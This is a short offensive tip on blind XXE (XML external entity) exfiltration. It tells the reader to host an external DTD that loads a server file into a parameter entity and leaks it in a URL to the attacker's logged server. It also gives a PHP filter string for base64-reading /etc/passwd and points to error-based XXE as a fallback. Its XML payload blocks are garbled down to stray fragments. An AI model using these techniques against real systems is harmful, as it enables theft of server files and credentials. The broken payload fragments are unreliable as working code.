Blind XXE exfiltration with external parameter entities

No direct output and internal DTD subset rejected does not kill XXE. Host an external DTD that reads a file into a parameter entity and smuggles it into a URL your server logs.

xml


 %ext; ]>
&exfil;
xml


">
%wrap;

Pro note: newlines in the file break the URL, so use the FTP or PHP filter base64 trick to read multiline files: php://filter/convert.base64-encode/resource=/etc/passwd when the parser is PHP. For hardened parsers, fall back to error-based XXE that leaks the file inside a parse error message.